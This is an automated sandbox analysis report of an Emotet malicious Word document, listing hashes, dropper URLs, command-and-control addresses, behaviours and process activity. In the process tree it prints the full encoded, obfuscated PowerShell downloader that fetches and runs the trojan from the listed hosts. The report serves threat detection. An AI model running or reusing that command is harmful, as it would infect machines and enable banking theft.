emotet | 5f5c3281702a2ecabc7797e25671a80f30335f7d4a4a6644b230346b7bcfe942

Analysis

max time kernel
136s
max time network
138s
platform
windows10_x64
resource
win10
submitted
29/08/2020, 01:42

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General

Target
emotet_e3_5f5c3281702a2ecabc7797e25671a80f30335f7d4a4a6644b230346b7bcfe942_2020-08-29__014052._doc.doc
Size 224KB
Sample200829-yz79l878f2
SHA256 5f5c3281702a2ecabc7797e25671a80f30335f7d4a4a6644b230346b7bcfe942
MD5 f3702e35a6cc1f6b77b2167f9aeb97fb
SHA1 557b8f01b1dbc85627df4f964fce3449c710cd88
SHA512 3f39c6548c5482890f6a017320114980321dc32ff818cb94fc5996388776442191d183963f51b3dc666df23b601d9bf237fe1e181cebf38b3133c8e612050f8f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://masque.es/stat/HWDzR/
exe.dropper
http://mesdelicesitaliens.fr/wp-admin/file/IIck/
exe.dropper
http://lidiscom.com.br/BKP_TinaPOS/attach/UlijfEK/
exe.dropper
http://facanha.com.br/temp/file/VFyitEUEZ/
exe.dropper
https://attech.ml/wp-admin/yZDBlYkJtq/
exe.dropper
http://admvero.com.br/minhaagua/hLwOiX/
exe.dropper
https://dev.dosily.in/wp-content/attach/zdRHVDCwl/

Extracted

Family

emotet

190.136.179.102:80
97.107.135.148:8080
94.102.209.63:7080
162.144.42.60:8080
81.214.253.80:443
87.106.231.60:8080
107.161.30.122:8080
66.61.94.36:80
139.59.12.63:8080
203.153.216.178:7080
178.33.167.120:8080
179.62.238.49:80
50.116.78.109:8080
74.208.173.91:8080
113.161.148.81:80
179.5.118.12:80
202.5.47.71:80
91.83.93.103:443
181.113.229.139:443
41.185.29.128:8080
37.205.9.252:7080
197.232.36.108:80
91.75.75.46:80
105.209.235.113:8080
181.137.229.1:80
172.105.78.244:8080
157.7.164.178:8081
190.55.186.229:80
192.163.221.191:8080
37.187.100.220:7080
5.79.70.250:8080
192.241.220.183:8080
168.0.97.6:80
46.32.229.152:8080
115.78.11.155:80
68.183.233.80:8080
190.96.15.50:80
175.29.183.2:80
118.101.24.148:80
157.245.138.101:7080
95.216.205.155:8080
46.105.131.68:8080
188.251.213.180:443
190.53.144.120:80
143.95.101.72:8080
88.249.181.198:443
2.144.244.204:443
177.32.8.85:80
190.212.140.6:80
185.86.148.68:443
54.38.143.245:8080
190.190.15.20:80
189.39.32.161:80
186.227.146.102:80
185.142.236.163:443
201.213.177.139:80
134.209.193.138:443
190.164.75.175:80
77.74.78.80:443
198.57.203.63:8080
103.80.51.61:8080
197.221.158.162:80
173.94.215.84:80
115.79.195.246:80
181.122.154.240:80
172.96.190.154:8080
82.239.200.118:80
81.17.93.134:80
201.235.10.215:80
178.87.171.199:80
24.26.151.3:80
75.127.14.170:8080
71.57.180.213:80
185.208.226.142:8080
177.144.130.105:443
31.146.61.34:80
60.125.114.64:443
188.0.135.237:80
181.126.54.234:80
162.249.220.190:80
220.254.198.228:443
177.94.227.143:80
113.203.250.121:443
37.46.129.215:8080
1.54.67.22:80
45.182.161.17:80
86.98.143.163:80
51.38.201.19:7080
192.210.217.94:8080
195.201.56.70:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2152	892	powersheLL.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	2152	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1284	D11ong43.exe
3428	dimsroam.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sc\dimsroam.exe	D11ong43.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 4297fb1aa57dd601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3060	WINWORD.EXE
3060	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2152	powersheLL.exe
2152	powersheLL.exe
2152	powersheLL.exe
3428	dimsroam.exe
3428	dimsroam.exe
3428	dimsroam.exe
3428	dimsroam.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3372	svchost.exe
Token: SeCreatePagefilePrivilege	3372	svchost.exe
Token: SeDebugPrivilege	2152	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
1284	D11ong43.exe
1284	D11ong43.exe
3428	dimsroam.exe
3428	dimsroam.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 1284	2152	powersheLL.exe	78
PID 2152 wrote to memory of 1284	2152	powersheLL.exe	78
PID 2152 wrote to memory of 1284	2152	powersheLL.exe	78
PID 1284 wrote to memory of 3428	1284	D11ong43.exe	81
PID 1284 wrote to memory of 3428	1284	D11ong43.exe	81
PID 1284 wrote to memory of 3428	1284	D11ong43.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_5f5c3281702a2ecabc7797e25671a80f30335f7d4a4a6644b230346b7bcfe942_2020-08-29__014052._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3372

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABGADcANAB5AGMAcgA3AD0AKAAnAEQAJwArACgAJwBrACcAKwAnAGgAbgAxACcAKQArACcAMgB1ACcAKQA7ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdABlAE0AUABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAYwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBjAHUAcgBpAGAAVAB5AHAAcgBvAGAAVABvAGMAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAJwArACcAMQAnACkAKwAoACcAMgAsACAAJwArACcAdAAnACkAKwAoACcAbABzADEAMQAsACcAKwAnACAAJwArACcAdAAnACkAKwAnAGwAcwAnACkAOwAkAFIAawB3ADcAdQBzAGwAIAA9ACAAKAAoACcARAAxACcAKwAnADEAbwBuACcAKQArACcAZwAnACsAJwA0ADMAJwApADsAJABDAGkAMwA0ADgAXwBrAD0AKAAnAFYAMgAnACsAKAAnAG4AeQBrADgAJwArACcAbAAnACkAKQA7ACQAVQByAHEAcgA1AG0AOAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBUACcAKwAnADQAWgB3AG8AJwApACsAKAAnAHIAZABUADQAWgAnACsAJwAyACcAKQArACgAJwAwACcAKwAnADEAOQAnACkAKwAnAFQAJwArACcANABaACcAKQAgACAALQBjAFIAZQBwAGwAQQBDAEUAIAAgACgAWwBDAEgAYQByAF0AOAA0ACsAWwBDAEgAYQByAF0ANQAyACsAWwBDAEgAYQByAF0AOQAwACkALABbAEMASABhAHIAXQA5ADIAKQArACQAUgBrAHcANwB1AHMAbAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEgAbAB0AGYAdQBuADkAPQAoACcAWAAzACcAKwAnADUANAAnACsAKAAnADkAMgAnACsAJwBiACcAKQApADsAJABFAGIAegByADYANAB4AD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBCAEMATABJAEUAbgBUADsAJABDAGcAZwA4AGIAbwA0AD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACgAJwAvAC8AJwArACcAbQBhACcAKQArACcAcwAnACsAJwBxAHUAJwArACcAZQAnACsAKAAnAC4AZQAnACsAJwBzACcAKQArACgAJwAvAHMAJwArACcAdABhAHQAJwApACsAKAAnAC8AJwArACcASABXACcAKQArACcARAAnACsAJwB6AFIAJwArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwBtAGUAJwApACsAJwBzAGQAJwArACcAZQBsACcAKwAoACcAaQAnACsAJwBjAGUAcwBpAHQAYQBsACcAKQArACcAaQAnACsAJwBlAG4AJwArACgAJwBzAC4AJwArACcAZgAnACsAJwByAC8AdwBwACcAKQArACcALQBhACcAKwAoACcAZAAnACsAJwBtAGkAJwArACcAbgAvAGYAJwApACsAKAAnAGkAbABlAC8AJwArACcASQBJAGMAJwApACsAKAAnAGsALwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAGwAaQBkAGkAcwAnACsAJwBjACcAKQArACcAbwBtACcAKwAoACcALgAnACsAJwBjAG8AbQAuACcAKQArACgAJwBiACcAKwAnAHIALwBCACcAKQArACgAJwBLAFAAXwAnACsAJwBUAGkAbgAnACsAJwBhAFAAJwArACcATwBTACcAKwAnAC8AYQB0ACcAKwAnAHQAYQBjAGgALwAnACkAKwAnAFUAbAAnACsAJwBpACcAKwAoACcAagAnACsAJwBmAEUASwAnACkAKwAnAC8AJwArACgAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBmAGEAYwBhAG4AaAAnACsAJwBhAC4AJwArACcAYwBvACcAKwAnAG0ALgBiAHIALwB0AGUAbQBwAC8AJwApACsAJwBmACcAKwAoACcAaQBsAGUAJwArACcALwAnACkAKwAnAFYAJwArACcARgAnACsAKAAnAHkAaQAnACsAJwB0AEUAVQBFAFoAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAYQB0ACcAKwAnAHQAZQBjAGgALgAnACkAKwAoACcAbQBsAC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGEAZABtAGkAbgAnACkAKwAoACcALwB5AFoARABCACcAKwAnAGwAJwArACcAWQAnACkAKwAoACcAawBKACcAKwAnAHQAcQAnACkAKwAnAC8AKgAnACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGEAZAAnACsAJwBtAHYAZQAnACsAJwByACcAKQArACcAbwAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiACcAKwAnAHIALwBtAGkAJwApACsAKAAnAG4AaAAnACsAJwBhAGEAJwApACsAKAAnAGcAdQAnACsAJwBhACcAKwAnAC8AJwArACcAaABMAHcATwBpAFgALwAqACcAKwAnAGgAdAB0ACcAKQArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AZAAnACsAJwBlAHYAJwApACsAJwAuACcAKwAoACcAZABvAHMAJwArACcAaQBsACcAKQArACcAeQAnACsAJwAuACcAKwAnAGkAJwArACgAJwBuAC8AdwAnACsAJwBwAC0AYwAnACkAKwAnAG8AbgAnACsAKAAnAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAoACcAYQAnACsAJwB0AHQAYQBjAGgALwB6AGQAUgAnACsAJwBIAFYARAAnACsAJwBDAHcAJwApACsAJwBsACcAKwAnAC8AJwApAC4AIgBTAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAbgAwAGkAZABuAGkAPQAoACcAWAAnACsAKAAnAGkAJwArACcANwBhAGcAJwApACsAJwBhADUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVQBwADkAMABqAHIAOQAgAGkAbgAgACQAQwBnAGcAOABiAG8ANAApAHsAdAByAHkAewAkAEUAYgB6AHIANgA0AHgALgAiAEQAbwB3AGAATgBMAG8AQQBEAGAARgBgAGkAbABFACIAKAAkAFUAcAA5ADAAagByADkALAAgACQAVQByAHEAcgA1AG0AOAApADsAJABLADMAYwA2AGoAdwAyAD0AKAAoACcASAAnACsAJwBiADcAJwApACsAKAAnAGYAZwAnACsAJwByAGgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVQByAHEAcgA1AG0AOAApAC4AIgBMAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADIAMgAwADIAOAApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABVAHIAcQByADUAbQA4ACkAOwAkAEgAdwA4ADAAYwBzADkAPQAoACcARgBpACcAKwAnAGwAcgAnACsAKAAnADkAJwArACcAdQA4ACcAKQApADsAYgByAGUAYQBrADsAJABBAG4AZgB5AGcANQBwAD0AKAAnAEYAOQAnACsAKAAnAGIAcwBkAGYAJwArACcAcAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBsADcAbwA5ADYAbQA9ACgAKAAnAEQAJwArACcAMwBhAG8AJwApACsAKAAnAHAAagAnACsAJwBvACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Users\Admin\AppData\Local\Temp\word\2019\D11ong43.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\D11ong43.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\SysWOW64\sc\dimsroam.exe
    "C:\Windows\SysWOW64\sc\dimsroam.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3428

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1284-16-0x0000000002320000-0x000000000232C000-memory.dmp

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memory/2152-10-0x00007FF969440000-0x00007FF969E2C000-memory.dmp

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memory/2152-11-0x00000198305D0000-0x00000198305D1000-memory.dmp

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memory/2152-12-0x0000019830780000-0x0000019830781000-memory.dmp

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memory/3060-9-0x0000021858D23000-0x0000021858D28000-memory.dmp

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memory/3060-6-0x0000021858D1F000-0x0000021858D23000-memory.dmp

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memory/3060-0-0x00007FF976710000-0x00007FF976DD6000-memory.dmp

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memory/3060-8-0x0000021858D1F000-0x0000021858D23000-memory.dmp

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memory/3060-7-0x0000021858D1F000-0x0000021858D23000-memory.dmp

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memory/3060-5-0x0000021855079000-0x000002185507E000-memory.dmp

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memory/3060-4-0x0000021858C6A000-0x0000021858C6F000-memory.dmp

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memory/3060-3-0x0000021858C6A000-0x0000021858C6F000-memory.dmp

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memory/3060-2-0x0000021858C6A000-0x0000021858C6F000-memory.dmp

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memory/3060-1-0x0000021858C6A000-0x0000021858C6F000-memory.dmp

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memory/3428-19-0x0000000000680000-0x000000000068C000-memory.dmp

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